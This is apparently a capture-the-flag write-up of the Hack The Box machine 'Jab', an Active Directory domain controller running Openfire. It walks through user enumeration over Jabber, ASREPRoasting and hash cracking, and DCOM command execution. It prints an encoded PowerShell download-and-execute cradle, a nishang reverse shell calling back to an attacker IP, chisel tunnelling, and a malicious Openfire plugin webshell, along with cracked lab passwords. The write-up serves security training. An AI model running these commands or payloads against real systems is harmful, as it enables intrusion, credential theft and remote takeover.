Recon
nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-27 08:04:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-06-27T08:05:26+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
|_ssl-date: 2024-06-27T08:05:26+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-06-27T08:05:27+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
|_ssl-date: 2024-06-27T08:05:25+00:00; 0s from scanner time.
5222/tcp open jabber Ignite Realtime Openfire Jabber server 3.10.0 or later
5223/tcp open ssl/jabber
5262/tcp open jabber Ignite Realtime Openfire Jabber server 3.10.0 or later
5263/tcp open ssl/jabber
5269/tcp open xmpp Wildfire XMPP Client
5270/tcp open ssl/xmpp Wildfire XMPP Client
5275/tcp open jabber Ignite Realtime Openfire Jabber server 3.10.0 or later
5276/tcp open ssl/jabber
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7070/tcp open realserver?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP:
| HTTP/1.1 400 Illegal character CNTL=0x0
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Thu, 27 Jun 2024 08:04:10 GMT
| Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
| Content-Type: text/html
| Accept-Ranges: bytes
| Content-Length: 223
| <html>
| <head><title>Openfire HTTP Binding Service</title></head>
| <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
| </html>
<SNIP>
7443/tcp open ssl/oracleas-https?
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP:
| HTTP/1.1 400 Illegal character CNTL=0x0
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Thu, 27 Jun 2024 08:04:22 GMT
| Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
| Content-Type: text/html
| Accept-Ranges: bytes
| Content-Length: 223
| <html>
| <head><title>Openfire HTTP Binding Service</title></head>
| <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
| </html>
<SNIP>
7777/tcp open socks5 (No authentication; connection not allowed by ruleset)
| socks-auth-info:
|_ No authentication
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49694/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49695/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49774/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb2-time:
| date: 2024-06-27T08:05:15
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Starting off with a nmap
of the box shows that I am dealing with an Active Directory Domain Controller that has some additional software installed and services listening. Most prominently it has Jabber/XMPP software installed and listening on port 5222,5223,5262,5263,5269,5270,5275,5276
. Also Openfire is unexpected on a Domain Controller and is listening on ports 7070,7443,7777
.
The scan also tells me that the the common name of the server is DC01.jab.htb
. So I add it along with jab.htb
to my /etc/hosts
file. Since I suspect the latter to the Active Directory domain. Given that I am dealing with an active directory machine my first goal is to ideally acquire a valid credentials, but at least gather a list of valid usernames to see if one of them ASREPRoastable. Since enumeration of the SMB service using netexec
and rpcclient
did not yield any results I turn my attention to Jabber.
Jabber
To properly interact with the Jabber service I first have to install a Jabber client on my attacker machine. This Github repositoty contains an exhaustive list of potential clients. After checking some of them out I landed on pidgin
as my client for this machine.
$ sudo apt install pidgin
After starting pidgin
I am greeted with a welcome message and prompted to add my first account to it. Form the pop-up window I select the XMPP
protocol and fill in all the necessary data. I set the domain to dc01.jab.htb
and since I this will be my first time on the victims server I tick the checkbox “Create this new account on the server” at the bottom as well.
After I clicking add I get a SSL certificate verification error, which allows me to inspect the self-signed certificate. But this does contain any interesting information so simply accept the certificate.
Next up I get prompted to fill some XMPP client registration data, which I do and finally my account is created. All that is left to do is tick the enabled checkbox and than I can interact with Jabber instance of the victim.
Information Gathering
With a Jabber account created I can now start gathering information from the instance, through user/member lists or improperly secured chat rooms which could contain sensitive information. My first stop takes me to “Room List” of the server which lists two test rooms. Out of these I can only access test2
which contains a benign test message by the user bdavis
.
After that I try to get a full list of all the user registered on the Jabber instance. A “Search Users” function is available under the “Accounts” menu.
For my search query I use a single wildcard as advertised my the Pigin client to be presented with a rather long list of registered users. Sadly a simple copy and paste of all user is not option so I have to try and get them through alternative methods.
Pidgin has some plugins available to export your buddy list however this would require me to add every user on dc01.jab.htb
as buddy to be able to export them all. During the setup of the account I could also provide a proxy configuration, which might allow me to inspect the requests and parse the usernames out of them. However during me testing for unknown reason I was not able to successfully route the traffic through a proxy for inspection.
This lead me to take a closer look at Pidgin itself with the intention of finding possible log files or debug information, which could contain the content of requests made and responses. The Pidgin client allows for debugging messages to be printed to stdout through the use of the -d
flag.
$ pidgin -h
Pidgin 2.14.13
Usage: pidgin [OPTION]...
-c, --config=DIR use DIR for config files
-d, --debug print debugging messages to stdout
-f, --force-online force online, regardless of network status
-h, --help display this help and exit
-m, --multiple allow multiple instances
-n, --nologin don't automatically login
-l, --login[=NAME] enable specified account(s) (optional argument NAME
specifies account(s) to use, separated by commas.
Without this only the first account will be enabled).
--display=DISPLAY X display to use
-v, --version display the current version and exit
I now restarted my Pidgin client with pidgin -d | tee debug.log
and replay the steps taken to list all the users of the instance. And as excepted the debug messages included the returned user list in an XML format. Here is a sample of the XML node of a returned item looked like.
<item>
<field var="jid">
<value>hbundy@jab.htb</value>
</field>
<field var="Username">
<value>hbundy</value>
</field>
<field var="Name">
<value>Harold Bundy</value>
</field>
<field var="Email">
<value>hbundy@jab.htb</value>
</field>undefined</item>
To filter out all the usernames I a combination of grep
and sed
as follows. This leaves me cleaned up list of all the usernames.
$ grep -oP '<value>\w+@jab\.htb<\/value>' debug.log | sed 's/<value>//g' | sed 's/<\/value>//g' | sed 's/@jab.htb//g' | uniq > users.txt
Kerberos
Armed with a list of potentially valid user I turn to my original goal of testing if any of the users is configured to be ASREPRoastable. Enumerating ASREPRoast be done through multiple different tools. I chose to do it with netexec
. An alternative would be GetNpusers.py
from Impacket.
$ netexec ldap jab.htb -u users.txt -p '' -d jab.htb --asreproast jab.asrep
$ GetNPUsers.py -format hashcat -usersfile users.txt -dc-host dc01.jab.htb -outputfile getnpusers.out jab.htb/
This return ASREP hashes for the users jmontgomery@JAB.HTB
, lbradford@JAB.HTB
and mlowe@JAB.HTB
. So now I can start and try cracking these hashes and see if any of the accounts uses a weak password.
§ hashcat -m 18200 hashes/jab.asrep /usr/share/wordlists/rockyou.txt
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: hashes/jab.asrep
Time.Started.....: Thu Jun 27 11:22:26 2024 (55 secs)
Time.Estimated...: Thu Jun 27 11:23:21 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 724.6 kH/s (7.16ms) @ Accel:16 Loops:1 Thr:8 Vec:1
Recovered........: 1/3 (33.33%) Digests (total), 1/3 (33.33%) Digests (new), 1/3 (33.33%) Salts
Progress.........: 43033152/43033152 (100.00%)
Rejected.........: 0/43033152 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2321676f7468] -> $HEX[042a0337c2a156616d6f732103
One of the three hashes could be cracked, which leaves me with the following valid credentials. jmontgomery@JAB.HTB:Midnight_121
.
Foothold as svc_openfire
Since the credentials for jmontgomery
did not grant me direct access to the victim machine through winRM I instead try and use them to authenticate as jmontgomery
to the Jabber server.
Jabber as jmontgomery
I add a new user to Pigin client in the same way as already described just this time around I enter the credentials for jmontgomery
and do not tick the “Create new account” checkbox. Listing the chat rooms now returns a new room titled “pentest2003”. Which contains some messages about how the user svc_openfire
was kerberoastable and how the password of the account was cracked. One of the messages actually contained the full hash alongside the cracked password of !@#$%^&*(1qazxsw
.
dcomexec.py
The credentials for svc_openfire
still do not allow for the quickwin of using winRM to connect to tge victim. However this is not the only service I can use to get RCE on the machine, but the first I like to try whenever I get a valid credentials. Another option is using the exposed DCOM service with dcomexec.py
from Impacket.
If you ever gained some form of credential from a Windows environment and are unsure how you can use it you could checkout the WADComs Cheat Sheet. Just a word of wisdom I found the filtering to rather strict, so don’t overdo it and accidentally filter out valid attack vectors.
For my initial reverse shell I chose the Invoke-PowerShellTcp.ps1
script from nishang and appended the function call of the reverse at the bottom. Next up I start a Python webserver to host the reverse shell and craft my encoded Powershell command.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port 8443
To simplify the creation the “standard” way to download and execute a Powershell script I added a little Bash function to the rc-file of my shell.
htb_pwsh_iex_url_b64(){
echo -n "IEX(New-Object Net.WebClient).downloadString('$1')" | iconv --to-code UTF-16LE | base64 -w0
}
htb_pwsh_iex_url_b64 http://10.10.14.9:8000/shell.ps1
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADkAOgA4ADAAMAAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApAA==
Initially dcomexec.py
threw and error stating the configured identity is incorrect. After reading a bit more about lateral movement with DCOM I specified the -object MMC20
and the command execution worked.
$ dcomexec.py -silentcommand -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.129.230.215 'cmd.exe /c powershell -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADkAOgA4ADAAMAAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApAA=='
Of course I had to also start a listener on my machine.
$ rlwrap nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.230.215] 51574
Windows PowerShell running as user DC01$ on DC01
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32>
With a shell acquire I can now read the user flag located at C:\Users\svc_openfire\Desktop\user.txt
Situational Awareness
Once I gained access svc_openfire
I started doing some manual enumeration of the machine. Unfortunately the account does have the SeImpersonatePrivilege
, which would have been a quick way to SYSTEM privileges.
# whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Since this user is most likely responsible for the Openfire software, that I found listing during the initial enumeration I focus on finding an admin panel or credentials in config files / databases related to Openfire.
Since none of the externally reachable ports exposed an admin panel I check if maybe it is only listening on localhost. And indeed a few ports are only listening on localhost. And a quick web search confirms that port9090
is the default port for the Openfire Admin Panel.
# netstat -ano -p tcp | Select-String "127.0.0.1" | Select-String "LISTENING"
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2940
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 3252
TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING 3252
So to access the admin panel form my attacker machine I transfer a chisel binary over to the victim machine with. I choose to drop the binary into C:\ProgramData
since this a world read-/writable directory.
# iwr http://10.10.14.9:8000/chisel.exe -o chisel.exe
After the transfer finishes all that is left to do is configure the port forwarding.
#VICTIM
./chisel.exe client 10.10.14.9:5000 R:9090:127.0.0.1:9090
#ATTACKER
./chisel server --port 5000 --reverse
Shell as NT Authority/SYSTEM
Once port 9090
from the victim machine is forwarded to my machine I can access it using any web browser.
I can than successfully login using the credentials of svc_openfire:!@#$%^&*(1qazxsw
. From there the “Plugin” menu looks to be the most promising since this will likely grant me command execution in the context of the user running Openfire.
After doing some more research about Openfire I found that it was vulnerable to a Path Traversal vulnerability CVE-2023-32315 which allowed for the unauthenticated creation of administrator accounts. During the exploitation this CVE threat actors than used the created administrator account to upload a malicious plugin which granted them code execution on the underlying host. A few of the public PoC for the CVE included such a plugin as well, which I will use to gain code execution.
Once I downloaded the openfire-management-tool-plugin.jar
from the repository I upload it to via the Openfire Admin panel to the server. The upload was successful so now can I navigate to the “Server Settings” submenu and access the “Management Tool” (the webshell).
The access to the webshell is password protected to I entire the password of “123” (found in the linked Github repository). From the webshell I can execute system command by selecting the corresponding option from the dropdown menu.
To gain a reverse shell through the webshell I use the same command that I already used for dcomexec.py
. I increment the destination port of the reverse shell within the Powershell script and start a new listener accordingly.
cmd.exe /c powershell -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADkAOgA4ADAAMAAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApAA==
$ rlwrap nc -lvnp 9443
listening on [any] 9443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.230.215] 64307
Windows PowerShell running as user DC01$ on DC01
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Program Files\Openfire\bin>whoami
nt authority\system